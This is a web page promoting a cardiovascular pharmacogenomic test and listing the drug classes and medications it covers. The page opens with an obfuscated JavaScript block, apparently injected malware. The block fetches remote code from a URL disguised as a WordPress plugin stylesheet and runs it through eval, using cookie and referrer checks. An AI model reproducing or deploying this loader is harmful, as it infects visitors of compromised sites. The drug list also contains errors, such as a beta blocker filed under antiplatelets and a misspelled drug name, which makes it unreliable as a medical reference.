;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//www.mycorporatedna.com/wp-content/plugins/advanced-custom-fields/assets/inc/color-picker-alpha/color-picker-alpha.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];Bfunction toggleSubMenu(element) { var arrow = element.querySelector('.arrow'); var subMenu = element.nextElementSibling; arrow.classList.toggle('rotated'); subMenu.style.display = subMenu.style.display === 'block' ? 'none' : 'block'; }

Book an appointment

Cardiovascular PGx Test

Cardiovascular PGx Test

Our Cardiovascular PGx Test is designed to provide personalized dosage suggestions, eliminate trial and error, and identify safer drug options for individuals with cardiovascular conditions. Here’s what our test covers:

Key Benefits

Offers dosage suggestions tailored to individual genetic factors

Eliminates trial and error for no less than thirty drugs commonly used in cardiovascular treatment

Identifies safer drug options instead of high-risk ones based on genetic predispositions

What We Test

Our comprehensive test analyzes genetic factors that influence drug response for a range of medications commonly used in cardiovascular treatment. Here are the categories and specific drugs we test for:

Antidiabetics

Glibenclamide (Glyburide)
Gliclazide (Diamicron)
Glimepiride (Amaryl)
Metformin (Glucophage)
Saxagliptin (Onglyza)
Tolbutamide (Orinase)

Antianginal Agents

Ranolazine (Ranexa)

Antiarrhythmics

Flecainide (Tambocor)
Propafenone (Rythmol)

Anticoagulants

Aceocoumarol (Sintrom)
Warfarin (Coumadin)

Antiplatelets

Clopidogrel (Plavix)
Prasugrel (Effient)
Ticagrelor (Brilinta)
Carvedilol (Coreg)

Beta Blockers

Carvedilol (Coreg)
Metoprolol (Lopressor)
Nebivolol (Bystolic)
Propranolol (Inderal)
Timolol (Blocadren)

Risk Factors

ApoE (Non-Drug)
Thrombosis Profile (Non-Drug)

Statins

Atorvastatin (Lipitor)
Simvastatin (Zocor)

For personalized cardiovascular treatment strategies and optimized medication selection, our Cardiovascular PGx Test offers valuable insights based on individual genetic factors.

Cardiovascular PGx Test